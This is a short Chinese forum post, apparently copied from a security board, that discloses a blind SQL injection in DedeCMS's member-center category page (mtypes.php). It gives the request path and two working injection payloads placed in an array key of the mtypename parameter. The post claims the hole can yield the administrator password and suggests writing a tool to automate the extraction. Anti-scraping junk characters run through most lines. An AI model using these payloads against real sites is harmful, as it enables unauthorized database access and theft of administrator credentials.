DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
9 |% n* x% U$ ^6 [! [
1 _& I5 l$ y, Q5 d: n
7 w$ q2 D0 B& T1 o发生在数组key里的注射漏洞,有点意思.

# W$ }1 B* A, ~8 _0 o2 y6 l3 V6 N这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
; N) K# o, t1 \  j
" O7 c( T0 i/ k. u% A4 `) ahttp://www.xxx.com /dede/member/mtypes.php?dopost=save

5 ]) b. p0 `- B; |5 jexploit:
9 g: U5 \$ s( q* _; nmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
2 i- `, z3 t: @% T- \mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
9 v" X3 u$ s) f9 q